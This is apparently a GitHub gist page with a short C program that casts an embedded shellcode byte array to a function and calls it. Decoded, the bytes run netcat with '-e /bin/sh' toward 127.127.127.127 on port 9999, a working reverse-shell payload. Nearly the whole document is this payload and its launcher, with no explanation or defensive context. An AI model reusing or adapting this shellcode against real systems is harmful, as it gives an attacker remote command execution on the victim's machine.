Skip to content

Instantly share code, notes, and snippets.

@Morgawr
Last active February 18, 2017 23:42
Show Gist options
  • Save Morgawr/9853525 to your computer and use it in GitHub Desktop.
Save Morgawr/9853525 to your computer and use it in GitHub Desktop.
C program to test a netcat reverse shell exploit
char shellcode[] = "\xeb\x3c\x5e\x31\xc0\x88\x46\x0b\x88\x46\x0e\x88\x46\x16\x88\x46\x26\x88\x46"
"\x2b\x89\x76\x2c\x8d\x5e\x0c\x89\x5e\x30\x8d\x5e\x0f\x89\x5e\x34\x8d\x5e\x17\x89\x5e\x38\x8d\x5e"
"\x27\x89\x5e\x3c\x89\x46\x40\xb0\x0b\x89\xf3\x8d\x4e\x2c\x8d\x56\x40\xcd\x80\xe8\xbf\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x6e\x65\x74\x63\x61\x74\x23\x2d\x65\x23\x2f\x62\x69\x6e\x2f\x73\x68\x23\x31"
"\x32\x37\x2e\x31\x32\x37\x2e\x31\x32\x37\x2e\x31\x32\x37\x23\x39\x39\x39\x39\x23\x41\x41\x41\x41"
"\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44\x45\x45\x45\x45\x46\x46\x46\x46";
int main()
{
int (*ret)() = (int(*)())shellcode;
ret();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment